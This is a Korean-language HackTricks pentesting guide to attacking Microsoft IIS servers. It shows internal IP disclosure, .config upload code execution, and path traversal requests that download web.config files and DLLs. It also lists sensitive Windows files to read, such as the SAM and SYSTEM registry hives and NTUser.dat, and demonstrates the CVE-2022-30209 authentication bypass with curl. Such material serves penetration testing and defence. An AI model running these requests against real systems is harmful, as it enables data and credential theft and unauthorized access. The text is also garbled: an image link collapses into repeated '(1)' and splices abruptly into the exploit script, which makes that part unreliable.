hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md
2024-02-10 21:30:13 +00:00

12 KiB

IIS - 인터넷 정보 서비스

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

테스트 가능한 실행 파일 확장자:

  • asp
  • aspx
  • config
  • php

내부 IP 주소 노출

302를 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해보세요. 응답 내의 Location 헤더는 내부 IP 주소를 가리킬 수 있습니다.

nc -v domain.com 80
openssl s_client -connect domain.com:443

응답은 내부 IP를 공개합니다:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config 파일 실행

.config 파일을 업로드하고 코드를 실행하는 데 사용할 수 있습니다. 이를 수행하는 한 가지 방법은 HTML 주석 내에 코드를 파일 끝에 추가하는 것입니다: 여기에서 예제 다운로드

이 취약점을 악용하기 위한 자세한 정보와 기술은 여기에서 확인할 수 있습니다.

IIS 탐색 브루트포스

다음 목록을 다운로드하세요:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

이 목록은 다음 목록의 내용을 병합하여 생성되었습니다:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

확장자를 추가하지 않고 사용하십시오. 필요한 파일은 이미 확장자가 포함되어 있습니다.

경로 순회

소스 코드 노출

전체 설명은 다음에서 확인할 수 있습니다: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

{% hint style="info" %} 요약하자면, 응용 프로그램의 폴더 내에 "assemblyIdentity" 파일과 "namespaces"에 대한 참조가 포함된 여러 web.config 파일이 있습니다. 이 정보를 사용하여 실행 파일이 위치한 곳을 알 수 있으며, 이를 다운로드할 수 있습니다.
다운로드한 Dll에서는 새로운 namespaces를 찾을 수도 있으며, 이를 통해 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.
또한, connectionstrings.configglobal.asax 파일에는 흥미로운 정보가 포함될 수 있습니다.
{% endhint %}

.Net MVC 애플리케이션에서는 web.config 파일이 "assemblyIdentity" XML 태그를 통해 응용 프로그램이 의존하는 각 이진 파일을 지정하는 중요한 역할을 합니다.

이진 파일 탐색

아래는 web.config 파일에 액세스하는 예시입니다:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

이 요청은 다양한 설정과 종속성을 나타냅니다:

  • EntityFramework 버전
  • 웹페이지, 클라이언트 유효성 검사 및 JavaScript에 대한 AppSettings
  • 인증 및 런타임을 위한 System.web 구성
  • System.webServer 모듈 설정
  • Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc와 같은 다양한 라이브러리에 대한 Runtime 어셈블리 바인딩

이러한 설정은 /bin/WebGrease.dll과 같은 특정 파일이 응용 프로그램의 /bin 폴더에 위치해 있음을 나타냅니다.

루트 디렉토리 파일

/global.asax/connectionstrings.config (민감한 비밀번호를 포함)와 같은 루트 디렉토리에 있는 파일은 응용 프로그램의 구성과 작동에 필수적입니다.

네임스페이스와 Web.Config

MVC 응용 프로그램은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 web.config 파일을 정의합니다. 이는 다른 web.config를 다운로드하는 요청을 통해 확인할 수 있습니다.

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL 다운로드

사용자 정의 네임스페이스에 대한 언급은 /bin 디렉토리에 있는 "WebApplication1"이라는 DLL을 암시합니다. 이어서 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

이는 /bin 디렉토리에 System.Web.Mvc.dllSystem.Web.Optimization.dll과 같은 다른 필수 DLL이 존재할 가능성을 시사합니다.

DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 가져올 경우, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있습니다. 이 파일들은 특정 구성 및 /bin 폴더의 다른 DLL에 대한 참조를 포함할 수 있습니다. 예를 들어, /Minded/Views/web.config로의 요청은 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 나타내는 구성 및 네임스페이스를 노출시킬 수 있습니다.

일반적인 파일

여기에서부터

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 오류

다음과 같은 오류가 표시되면:

![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
htARTE (HackTricks AWS Red Team Expert)을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: